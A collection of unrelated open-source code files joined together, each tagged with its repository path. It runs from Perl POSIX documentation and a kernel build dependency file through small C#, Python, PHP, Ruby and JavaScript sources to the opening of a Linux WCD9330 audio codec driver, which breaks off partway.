C<F_SETLKW> C<F_UNLCK> C<F_WRLCK> C<O_ACCMODE> C<O_APPEND> C<O_CREAT> C<O_EXCL> C<O_NOCTTY> C<O_NONBLOCK>
C<O_RDONLY> C<O_RDWR> C<O_TRUNC> C<O_WRONLY>
=back
=head1 FLOAT
=over 8
=item Constants
C<DBL_DIG> C<DBL_EPSILON> C<DBL_MANT_DIG> C<DBL_MAX> C<DBL_MAX_10_EXP> C<DBL_MAX_EXP> C<DBL_MIN>
C<DBL_MIN_10_EXP> C<DBL_MIN_EXP> C<FLT_DIG> C<FLT_EPSILON> C<FLT_MANT_DIG> C<FLT_MAX>
C<FLT_MAX_10_EXP> C<FLT_MAX_EXP> C<FLT_MIN> C<FLT_MIN_10_EXP> C<FLT_MIN_EXP> C<FLT_RADIX>
C<FLT_ROUNDS> C<LDBL_DIG> C<LDBL_EPSILON> C<LDBL_MANT_DIG> C<LDBL_MAX> C<LDBL_MAX_10_EXP>
C<LDBL_MAX_EXP> C<LDBL_MIN> C<LDBL_MIN_10_EXP> C<LDBL_MIN_EXP>
=back
=head1 LIMITS
=over 8
=item Constants
C<ARG_MAX> C<CHAR_BIT> C<CHAR_MAX> C<CHAR_MIN> C<CHILD_MAX> C<INT_MAX> C<INT_MIN> C<LINK_MAX> C<LONG_MAX>
C<LONG_MIN> C<MAX_CANON> C<MAX_INPUT> C<MB_LEN_MAX> C<NAME_MAX> C<NGROUPS_MAX> C<OPEN_MAX> C<PATH_MAX>
C<PIPE_BUF> C<SCHAR_MAX> C<SCHAR_MIN> C<SHRT_MAX> C<SHRT_MIN> C<SSIZE_MAX> C<STREAM_MAX> C<TZNAME_MAX>
C<UCHAR_MAX> C<UINT_MAX> C<ULONG_MAX> C<USHRT_MAX>
=back
=head1 LOCALE
=over 8
=item Constants
C<LC_ALL> C<LC_COLLATE> C<LC_CTYPE> C<LC_MONETARY> C<LC_NUMERIC> C<LC_TIME>
=back
=head1 MATH
=over 8
=item Constants
C<HUGE_VAL>
=back
=head1 SIGNAL
=over 8
=item Constants
C<SA_NOCLDSTOP> C<SA_NOCLDWAIT> C<SA_NODEFER> C<SA_ONSTACK> C<SA_RESETHAND> C<SA_RESTART>
C<SA_SIGINFO> C<SIGABRT> C<SIGALRM> C<SIGCHLD> C<SIGCONT> C<SIGFPE> C<SIGHUP> C<SIGILL> C<SIGINT>
C<SIGKILL> C<SIGPIPE> C<SIGQUIT> C<SIGSEGV> C<SIGSTOP> C<SIGTERM> C<SIGTSTP> C<SIGTTIN> C<SIGTTOU>
C<SIGUSR1> C<SIGUSR2> C<SIG_BLOCK> C<SIG_DFL> C<SIG_ERR> C<SIG_IGN> C<SIG_SETMASK>
C<SIG_UNBLOCK>
=back
=head1 STAT
=over 8
=item Constants
C<S_IRGRP> C<S_IROTH> C<S_IRUSR> C<S_IRWXG> C<S_IRWXO> C<S_IRWXU> C<S_ISGID> C<S_ISUID> C<S_IWGRP> C<S_IWOTH>
C<S_IWUSR> C<S_IXGRP> C<S_IXOTH> C<S_IXUSR>
=item Macros
C<S_ISBLK> C<S_ISCHR> C<S_ISDIR> C<S_ISFIFO> C<S_ISREG>
=back
=head1 STDLIB
=over 8
=item Constants
C<EXIT_FAILURE> C<EXIT_SUCCESS> C<MB_CUR_MAX> C<RAND_MAX>
=back
=head1 STDIO
=over 8
=item Constants
C<BUFSIZ> C<EOF> C<FILENAME_MAX> C<L_ctermid> C<L_cuserid> C<L_tmpname> C<TMP_MAX>
=back
=head1 TIME
=over 8
=item Constants
C<CLK_TCK> C<CLOCKS_PER_SEC>
=back
=head1 UNISTD
=over 8
=item Constants
C<R_OK> C<SEEK_CUR> C<SEEK_END> C<SEEK_SET> C<STDIN_FILENO> C<STDOUT_FILENO> C<STDERR_FILENO> C<W_OK> C<X_OK>
=back
=head1 WAIT
=over 8
=item Constants
C<WNOHANG> C<WUNTRACED>
=over 16
=item C<WNOHANG>
Do not suspend the calling process until a child process
changes state but instead return immediately.
=item C<WUNTRACED>
Catch stopped child processes.
=back
=item Macros
C<WIFEXITED> C<WEXITSTATUS> C<WIFSIGNALED> C<WTERMSIG> C<WIFSTOPPED> C<WSTOPSIG>
=over 16
=item C<WIFEXITED>
C<WIFEXITED(${^CHILD_ERROR_NATIVE})> returns true if the child process
exited normally (C<exit()> or by falling off the end of C<main()>)
=item C<WEXITSTATUS>
C<WEXITSTATUS(${^CHILD_ERROR_NATIVE})> returns the normal exit status of
the child process (only meaningful if C<WIFEXITED(${^CHILD_ERROR_NATIVE})>
is true)
=item C<WIFSIGNALED>
C<WIFSIGNALED(${^CHILD_ERROR_NATIVE})> returns true if the child process
terminated because of a signal
=item C<WTERMSIG>
C<WTERMSIG(${^CHILD_ERROR_NATIVE})> returns the signal the child process
terminated for (only meaningful if
C<WIFSIGNALED(${^CHILD_ERROR_NATIVE})>
is true)
=item C<WIFSTOPPED>
C<WIFSTOPPED(${^CHILD_ERROR_NATIVE})> returns true if the child process is
currently stopped (can happen only if you specified the WUNTRACED flag
to C<waitpid()>)
=item C<WSTOPSIG>
C<WSTOPSIG(${^CHILD_ERROR_NATIVE})> returns the signal the child process
was stopped for (only meaningful if
C<WIFSTOPPED(${^CHILD_ERROR_NATIVE})>
is true)
=back
=back
| mishin/dwimperl-windows | strawberry-perl-5.20.0.1-32bit-portable/perl/lib/POSIX.pod | Perl | gpl-2.0 | 67,024 |
cmd_kernel/sys_ni.o := /pub/CIS520/usr/arm/bin/arm-angstrom-linux-gnueabi-gcc -Wp,-MD,kernel/.sys_ni.o.d -nostdinc -isystem /net/files.cis.ksu.edu/exports/public/CIS520/usr/arm/bin/../lib/gcc/arm-angstrom-linux-gnueabi/4.3.3/include -Iinclude -I/net/files.cis.ksu.edu/exports/home/p/phen/cis520/android/Kernel/arch/arm/include -include include/linux/autoconf.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-goldfish/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Os -marm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -mabi=aapcs-linux -mno-thumb-interwork -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-stack-protector -fno-omit-frame-pointer -fno-optimize-sibling-calls -Wdeclaration-after-statement -Wno-pointer-sign -fwrapv -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(sys_ni)" -D"KBUILD_MODNAME=KBUILD_STR(sys_ni)" -c -o kernel/sys_ni.o kernel/sys_ni.c
deps_kernel/sys_ni.o := \
kernel/sys_ni.c \
include/linux/linkage.h \
include/linux/compiler.h \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
include/linux/compiler-gcc4.h \
/net/files.cis.ksu.edu/exports/home/p/phen/cis520/android/Kernel/arch/arm/include/asm/linkage.h \
include/linux/errno.h \
/net/files.cis.ksu.edu/exports/home/p/phen/cis520/android/Kernel/arch/arm/include/asm/errno.h \
include/asm-generic/errno.h \
include/asm-generic/errno-base.h \
/net/files.cis.ksu.edu/exports/home/p/phen/cis520/android/Kernel/arch/arm/include/asm/unistd.h \
$(wildcard include/config/aeabi.h) \
$(wildcard include/config/oabi/compat.h) \
kernel/sys_ni.o: $(deps_kernel/sys_ni.o)
$(deps_kernel/sys_ni.o):
| mjmccall/Kernel | kernel/.sys_ni.o.cmd | Batchfile | gpl-2.0 | 2,034 |
using System;
using Server.Engines.Craft;
namespace Server.Items
{
public abstract class BaseRing : BaseJewel
{
public BaseRing(int itemID)
: base(itemID, Layer.Ring)
{
}
public BaseRing(Serial serial)
: base(serial)
{
}
public override int BaseGemTypeNumber
{
get
{
return 1044176;
}
}// star sapphire ring
public override void Serialize(GenericWriter writer)
{
base.Serialize(writer);
writer.Write((int)0); // version
}
public override void Deserialize(GenericReader reader)
{
base.Deserialize(reader);
int version = reader.ReadInt();
}
}
public class GoldRing : BaseRing
{
[Constructable]
public GoldRing()
: base(0x108a)
{
this.Weight = 0.1;
}
public GoldRing(Serial serial)
: base(serial)
{
}
public override void Serialize(GenericWriter writer)
{
base.Serialize(writer);
writer.Write((int)0); // version
}
public override void Deserialize(GenericReader reader)
{
base.Deserialize(reader);
int version = reader.ReadInt();
}
}
public class SilverRing : BaseRing, IRepairable
{
public CraftSystem RepairSystem { get { return DefTinkering.CraftSystem; } }
[Constructable]
public SilverRing()
: base(0x1F09)
{
this.Weight = 0.1;
}
public SilverRing(Serial serial)
: base(serial)
{
}
public override void Serialize(GenericWriter writer)
{
base.Serialize(writer);
writer.Write((int)0); // version
}
public override void Deserialize(GenericReader reader)
{
base.Deserialize(reader);
int version = reader.ReadInt();
}
}
} | ppardalj/ServUO | Scripts/Items/Equipment/Jewelry/Ring.cs | C# | gpl-2.0 | 2,101 |
# plugins module for amsn2
"""
Plugins with amsn2 will be a subclass of the aMSNPlugin() class.
When this module is initially imported it should load the plugins from the last session. Done in the init() proc.
Then the GUI should call plugins.loadPlugin(name) or plugins.unLoadPlugin(name) in order to deal with plugins.
"""
# init()
# Called when the plugins module is imported (only for the first time).
# Should find plugins and populate a list ready for getPlugins().
# Should also auto-update all plugins.
def init(): pass
# loadPlugin(plugin_name)
# Called (by the GUI or from init()) to load a plugin. plugin_name as set in plugin's XML (or from getPlugins()).
# This loads the module for the plugin. The module is then responsible for calling plugins.registerPlugin(instance).
def loadPlugin(plugin_name):
"""
@type plugin_name: str
"""
pass
# unLoadPlugin(plugin_name)
# Called to unload a plugin. Name is name as set in plugin's XML.
def unLoadPlugin(plugin_name):
"""
@type plugin_name: str
"""
pass
# registerPlugin(plugin_instance)
# Saves the instance of the plugin, and registers it in the loaded list.
def registerPlugin(plugin_instance):
"""
@type plugin_instance: L{amsn2.plugins.developers.aMSNPlugin}
"""
pass
# getPlugins()
# Returns a list of all available plugins, as in ['Plugin 1', 'Plugin 2']
def getPlugins(): pass
# getPluginsWithStatus()
# Returns a list with a list item for each plugin with the plugin's name, and Loaded or NotLoaded either way.
# IE: [['Plugin 1', 'Loaded'], ['Plugin 2', 'NotLoaded']]
def getPluginsWithStatus(): pass
# getLoadedPlugins()
# Returns a list of loaded plugins. as in ['Plugin 1', 'Plugin N']
def getLoadedPlugins(): pass
# findPlugin(plugin_name)
# Retruns the running instance of the plugin with name plugin_name, or None if not found.
def findPlugin(plugin_name):
"""
@type plugin_name: str
"""
pass
# saveConfig(plugin_name, data)
def saveConfig(plugin_name, data):
"""
@type plugin_name: str
@type data: object
"""
pass
# Calls the init procedure.
# Will only be called on the first import (thanks to python).
init()
| amsn/amsn2 | amsn2/plugins/core.py | Python | gpl-2.0 | 2,184 |
<?php
/*
Plugin Name: PoP CDN WordPress
Description: Implementation of the CDN for PoP
Plugin URI: https://getpop.org
Version: 0.1
Author: Leonardo Losovizen/u/leo/
*/
//-------------------------------------------------------------------------------------
// Constants Definition
//-------------------------------------------------------------------------------------
define('POP_CDNWP_VERSION', 0.157);
define('POP_CDNWP_DIR', dirname(__FILE__));
class PoP_CDNWP
{
public function __construct()
{
// Priority: after PoP Engine Web Platform
\PoP\Root\App::addAction('plugins_loaded', array($this, 'init'), 888412);
}
public function init()
{
define('POP_CDNWP_URL', plugins_url('', __FILE__));
if ($this->validate()) {
$this->initialize();
define('POP_CDNWP_INITIALIZED', true);
}
}
public function validate()
{
return true;
include_once 'validation.php';
$validation = new PoP_CDNWP_Validation();
return $validation->validate();
}
public function initialize()
{
include_once 'initialization.php';
$initialization = new PoP_CDNWP_Initialization();
return $initialization->initialize();
}
}
/**
* Initialization
*/
new PoP_CDNWP();
| leoloso/PoP | layers/Legacy/Schema/packages/migrate-everythingelse/migrate/plugins/pop-cdn-wp/pop-cdn-wp.php | PHP | gpl-2.0 | 1,305 |
#
# Copyright 2014 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public
# License as published by the Free Software Foundation; either version
# 2 of the License (GPLv2) or (at your option) any later version.
# There is NO WARRANTY for this software, express or implied,
# including the implied warranties of MERCHANTABILITY,
# NON-INFRINGEMENT, or FITNESS FOR A PARTICULAR PURPOSE. You should
# have received a copy of GPLv2 along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
# The Errata module contains methods that are common for supporting errata
# in several controllers (e.g. SystemErrataController and SystemGroupErrataController)
module Katello
module Util
module Errata
def filter_by_type(errata_list, filter_type)
filtered_list = []
if filter_type != "All"
pulp_filter_type = get_pulp_filter_type(filter_type)
errata_list.each do |erratum|
if erratum.respond_to?(:type)
if erratum.type == pulp_filter_type
filtered_list << erratum
end
else
if erratum["type"] == pulp_filter_type
filtered_list << erratum
end
end
end
else
filtered_list = errata_list
end
return filtered_list
end
def get_pulp_filter_type(type)
filter_type = type.downcase
if filter_type == "bugfix"
return Glue::Pulp::Errata::BUGZILLA
elsif filter_type == "enhancement"
return Glue::Pulp::Errata::ENHANCEMENT
elsif filter_type == "security"
return Glue::Pulp::Errata::SECURITY
end
end
def filter_by_state(errata_list, errata_state)
if errata_state == "applied"
return []
else
return errata_list
end
end
end
end
end
| dustints/katello | app/lib/katello/util/errata.rb | Ruby | gpl-2.0 | 1,852 |
define(["require", "exports"], function (require, exports) {
"use strict";
exports.ZaOverviewPanelController = ZaOverviewPanelController;
});
| ZeXtras/zimbra-lib-ts | zimbraAdmin/common/ZaOverviewPanelController.js | JavaScript | gpl-2.0 | 146 |
// RUN: %clang_cc1 %s -triple=x86_64-apple-darwin10 -emit-llvm -o - | FileCheck %s
// CHECK: ; ModuleID
struct A {
template<typename T>
A(T);
};
template<typename T> A::A(T) {}
struct B {
template<typename T>
B(T);
};
template<typename T> B::B(T) {}
// CHECK: define void @_ZN1BC1IiEET_(%struct.B* %this, i32)
// CHECK: define void @_ZN1BC2IiEET_(%struct.B* %this, i32)
template B::B(int);
template<typename T>
struct C {
void f() {
int a[] = { 1, 2, 3 };
}
};
void f(C<int>& c) {
c.f();
}
| vrtadmin/clamav-bytecode-compiler | clang/test/CodeGenCXX/member-templates.cpp | C++ | gpl-2.0 | 515 |
/* Copyright (c) 2012-2015, The Linux Foundation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/firmware.h>
#include <linux/slab.h>
#include <linux/platform_device.h>
#include <linux/device.h>
#include <linux/printk.h>
#include <linux/ratelimit.h>
#include <linux/debugfs.h>
#include <linux/wait.h>
#include <linux/bitops.h>
#include <linux/mfd/wcd9xxx/core.h>
#include <linux/mfd/wcd9xxx/wcd9xxx_registers.h>
#include <linux/mfd/wcd9xxx/wcd9330_registers.h>
#include <linux/mfd/wcd9xxx/pdata.h>
#include <linux/regulator/consumer.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#include <sound/soc.h>
#include <sound/soc-dapm.h>
#include <sound/tlv.h>
#include <linux/delay.h>
#include <linux/pm_runtime.h>
#include <linux/kernel.h>
#include <linux/gpio.h>
#include <linux/clk.h>
#include "wcd9330.h"
#include "wcd9xxx-resmgr.h"
#include "wcd9xxx-common.h"
#include "wcdcal-hwdep.h"
#include "wcd_cpe_core.h"
enum {
VI_SENSE_1,
VI_SENSE_2,
VI_SENSE_MAX,
BUS_DOWN,
ADC1_TXFE,
ADC2_TXFE,
ADC3_TXFE,
ADC4_TXFE,
ADC5_TXFE,
ADC6_TXFE,
};
#define TOMTOM_MAD_SLIMBUS_TX_PORT 12
#define TOMTOM_MAD_AUDIO_FIRMWARE_PATH "wcd9320/wcd9320_mad_audio.bin"
#define TOMTOM_VALIDATE_RX_SBPORT_RANGE(port) ((port >= 16) && (port <= 23))
#define TOMTOM_VALIDATE_TX_SBPORT_RANGE(port) ((port >= 0) && (port <= 15))
#define TOMTOM_CONVERT_RX_SBPORT_ID(port) (port - 16) /* RX1 port ID = 0 */
#define TOMTOM_BIT_ADJ_SHIFT_PORT1_6 4
#define TOMTOM_BIT_ADJ_SHIFT_PORT7_10 5
#define TOMTOM_HPH_PA_SETTLE_COMP_ON 5000
#define TOMTOM_HPH_PA_SETTLE_COMP_OFF 13000
#define TOMTOM_HPH_PA_RAMP_DELAY 30000
#define TOMTOM_SVASS_INT_STATUS_RCO_WDOG 0x20
#define TOMTOM_SVASS_INT_STATUS_WDOG_BITE 0x02
/* Add any SVA IRQs that are to be treated as FATAL */
#define TOMTOM_CPE_FATAL_IRQS \
(TOMTOM_SVASS_INT_STATUS_RCO_WDOG | \
TOMTOM_SVASS_INT_STATUS_WDOG_BITE)
#define DAPM_MICBIAS2_EXTERNAL_STANDALONE "MIC BIAS2 External Standalone"
/* RX_HPH_CNP_WG_TIME increases by 0.24ms */
#define TOMTOM_WG_TIME_FACTOR_US 240
#define MAX_ON_DEMAND_SUPPLY_NAME_LENGTH 64
#define RX8_PATH 8
#define HPH_PA_ENABLE true
#define HPH_PA_DISABLE false
#define SLIM_BW_CLK_GEAR_9 6200000
#define SLIM_BW_UNVOTE 0
static int cpe_debug_mode;
module_param(cpe_debug_mode, int,
S_IRUGO | S_IWUSR | S_IWGRP);
MODULE_PARM_DESC(cpe_debug_mode, "boot cpe in debug mode");
static atomic_t kp_tomtom_priv;
static int high_perf_mode = 1;
module_param(high_perf_mode, int,
S_IRUGO | S_IWUSR | S_IWGRP);
MODULE_PARM_DESC(high_perf_mode, "enable/disable class AB config for hph");
static struct afe_param_slimbus_slave_port_cfg tomtom_slimbus_slave_port_cfg = {
.minor_version = 1,
.slimbus_dev_id = AFE_SLIMBUS_DEVICE_1,
.slave_dev_pgd_la = 0,
.slave_dev_intfdev_la = 0,
.bit_width = 16,
.data_format = 0,
.num_channels = 1
};
static struct afe_param_cdc_reg_cfg audio_reg_cfg[] = {
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_CDC_MAD_MAIN_CTL_1),
HW_MAD_AUDIO_ENABLE, 0x1, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_CDC_MAD_AUDIO_CTL_3),
HW_MAD_AUDIO_SLEEP_TIME, 0xF, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_CDC_MAD_AUDIO_CTL_4),
HW_MAD_TX_AUDIO_SWITCH_OFF, 0x1, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR_MODE),
MAD_AUDIO_INT_DEST_SELECT_REG, 0x4, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_MASK0),
MAD_AUDIO_INT_MASK_REG, 0x2, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_STATUS0),
MAD_AUDIO_INT_STATUS_REG, 0x2, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_CLEAR0),
MAD_AUDIO_INT_CLEAR_REG, 0x2, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_SB_PGD_PORT_TX_BASE),
SB_PGD_PORT_TX_WATERMARK_N, 0x1E, 8, 0x1
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_SB_PGD_PORT_TX_BASE),
SB_PGD_PORT_TX_ENABLE_N, 0x1, 8, 0x1
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_SB_PGD_PORT_RX_BASE),
SB_PGD_PORT_RX_WATERMARK_N, 0x1E, 8, 0x1
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_SB_PGD_PORT_RX_BASE),
SB_PGD_PORT_RX_ENABLE_N, 0x1, 8, 0x1
},
{ 1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_CDC_ANC1_IIR_B1_CTL),
AANC_FF_GAIN_ADAPTIVE, 0x4, 8, 0
},
{ 1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_CDC_ANC1_IIR_B1_CTL),
AANC_FFGAIN_ADAPTIVE_EN, 0x8, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_CDC_ANC1_GAIN_CTL),
AANC_GAIN_CONTROL, 0xFF, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_MASK0),
MAD_CLIP_INT_MASK_REG, 0x10, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_MASK0),
MAD2_CLIP_INT_MASK_REG, 0x20, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_STATUS0),
MAD_CLIP_INT_STATUS_REG, 0x10, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_STATUS0),
MAD2_CLIP_INT_STATUS_REG, 0x20, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_CLEAR0),
MAD_CLIP_INT_CLEAR_REG, 0x10, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET + TOMTOM_A_INTR2_CLEAR0),
MAD2_CLIP_INT_CLEAR_REG, 0x20, 8, 0
},
};
static struct afe_param_cdc_reg_cfg clip_reg_cfg[] = {
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_B1_CTL),
SPKR_CLIP_PIPE_BANK_SEL, 0x3, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL0),
SPKR_CLIPDET_VAL0, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL1),
SPKR_CLIPDET_VAL1, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL2),
SPKR_CLIPDET_VAL2, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL3),
SPKR_CLIPDET_VAL3, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL4),
SPKR_CLIPDET_VAL4, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL5),
SPKR_CLIPDET_VAL5, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL6),
SPKR_CLIPDET_VAL6, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR_CLIPDET_VAL7),
SPKR_CLIPDET_VAL7, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_B1_CTL),
SPKR2_CLIP_PIPE_BANK_SEL, 0x3, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL0),
SPKR2_CLIPDET_VAL0, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL1),
SPKR2_CLIPDET_VAL1, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL2),
SPKR2_CLIPDET_VAL2, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL3),
SPKR2_CLIPDET_VAL3, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL4),
SPKR2_CLIPDET_VAL4, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL5),
SPKR2_CLIPDET_VAL5, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL6),
SPKR2_CLIPDET_VAL6, 0xff, 8, 0
},
{
1,
(TOMTOM_REGISTER_START_OFFSET +
TOMTOM_A_CDC_SPKR2_CLIPDET_VAL7),
SPKR2_CLIPDET_VAL7, 0xff, 8, 0
},
};
static struct afe_param_cdc_reg_cfg_data tomtom_audio_reg_cfg = {
.num_registers = ARRAY_SIZE(audio_reg_cfg),
.reg_data = audio_reg_cfg,
};
static struct afe_param_cdc_reg_cfg_data tomtom_clip_reg_cfg = {
.num_registers = ARRAY_SIZE(clip_reg_cfg),
.reg_data = clip_reg_cfg,
};
static struct afe_param_id_cdc_aanc_version tomtom_cdc_aanc_version = {
.cdc_aanc_minor_version = AFE_API_VERSION_CDC_AANC_VERSION,
.aanc_hw_version = AANC_HW_BLOCK_VERSION_2,
};
static struct afe_param_id_clip_bank_sel clip_bank_sel = {
.minor_version = AFE_API_VERSION_CLIP_BANK_SEL_CFG,
.num_banks = AFE_CLIP_MAX_BANKS,
.bank_map = {0, 1, 2, 3},
};
#define WCD9330_RATES (SNDRV_PCM_RATE_8000 | SNDRV_PCM_RATE_16000 |\
SNDRV_PCM_RATE_32000 | SNDRV_PCM_RATE_48000 |\
SNDRV_PCM_RATE_96000 | SNDRV_PCM_RATE_192000)
#define NUM_DECIMATORS 10
#define NUM_INTERPOLATORS 8
#define BITS_PER_REG 8
#define TOMTOM_TX_PORT_NUMBER 16
#define TOMTOM_RX_PORT_START_NUMBER 16
#define TOMTOM_I2S_MASTER_MODE_MASK 0x08
#define TOMTOM_SLIM_CLOSE_TIMEOUT 1000
#define TOMTOM_SLIM_IRQ_OVERFLOW (1 << 0)
#define TOMTOM_SLIM_IRQ_UNDERFLOW (1 << 1)
#define TOMTOM_SLIM_IRQ_PORT_CLOSED (1 << 2)
#define TOMTOM_MCLK_CLK_12P288MHZ 12288000
#define TOMTOM_MCLK_CLK_9P6MHZ 9600000
#define TOMTOM_FORMATS_S16_S24_LE (SNDRV_PCM_FMTBIT_S16_LE | \
SNDRV_PCM_FMTBIT_S24_LE)
#define TOMTOM_FORMATS (SNDRV_PCM_FMTBIT_S16_LE)
#define TOMTOM_SLIM_PGD_PORT_INT_TX_EN0 (TOMTOM_SLIM_PGD_PORT_INT_EN0 + 2)
#define TOMTOM_ZDET_BOX_CAR_AVG_LOOP_COUNT 1
#define TOMTOM_ZDET_MUL_FACTOR_1X 7218
#define TOMTOM_ZDET_MUL_FACTOR_10X (TOMTOM_ZDET_MUL_FACTOR_1X * 10)
#define TOMTOM_ZDET_MUL_FACTOR_100X (TOMTOM_ZDET_MUL_FACTOR_1X * 100)
#define TOMTOM_ZDET_ERROR_APPROX_MUL_FACTOR 655
#define TOMTOM_ZDET_ERROR_APPROX_SHIFT 16
#define TOMTOM_ZDET_ZONE_3_DEFAULT_VAL 1000000
enum {
AIF1_PB = 0,
AIF1_CAP,
AIF2_PB,
AIF2_CAP,
AIF3_PB,
AIF3_CAP,
AIF4_VIFEED,
AIF4_MAD_TX,
NUM_CODEC_DAIS,
};
enum {
RX_MIX1_INP_SEL_ZERO = 0,
RX_MIX1_INP_SEL_SRC1,
RX_MIX1_INP_SEL_SRC2,
RX_MIX1_INP_SEL_IIR1,
RX_MIX1_INP_SEL_IIR2,
RX_MIX1_INP_SEL_RX1,
RX_MIX1_INP_SEL_RX2,
RX_MIX1_INP_SEL_RX3,
RX_MIX1_INP_SEL_RX4,
RX_MIX1_INP_SEL_RX5,
RX_MIX1_INP_SEL_RX6,
RX_MIX1_INP_SEL_RX7,
RX_MIX1_INP_SEL_AUXRX,
};
enum {
RX8_MIX1_INP_SEL_ZERO = 0,
RX8_MIX1_INP_SEL_IIR1,
RX8_MIX1_INP_SEL_IIR2,
RX8_MIX1_INP_SEL_RX1,
RX8_MIX1_INP_SEL_RX2,
RX8_MIX1_INP_SEL_RX3,
RX8_MIX1_INP_SEL_RX4,
RX8_MIX1_INP_SEL_RX5,
RX8_MIX1_INP_SEL_RX6,
RX8_MIX1_INP_SEL_RX7,
RX8_MIX1_INP_SEL_RX8,
};
enum {
ON_DEMAND_MICBIAS = 0,
ON_DEMAND_SUPPLIES_MAX,
};
#define TOMTOM_COMP_DIGITAL_GAIN_OFFSET 3
static const DECLARE_TLV_DB_SCALE(digital_gain, 0, 1, 0);
static const DECLARE_TLV_DB_SCALE(line_gain, 0, 7, 1);
static const DECLARE_TLV_DB_SCALE(analog_gain, 0, 25, 1);
static struct snd_soc_dai_driver tomtom_dai[];
static const DECLARE_TLV_DB_SCALE(aux_pga_gain, 0, 2, 0);
/* Codec supports 2 IIR filters */
enum {
IIR1 = 0,
IIR2,
IIR_MAX,
};
/* Codec supports 5 bands */
enum {
BAND1 = 0,
BAND2,
BAND3,
BAND4,
BAND5,
BAND_MAX,
};
enum {
COMPANDER_0,
COMPANDER_1,
COMPANDER_2,
COMPANDER_MAX,
};
enum {
COMPANDER_FS_8KHZ = 0,
COMPANDER_FS_16KHZ,
COMPANDER_FS_32KHZ,
COMPANDER_FS_48KHZ,
COMPANDER_FS_96KHZ,
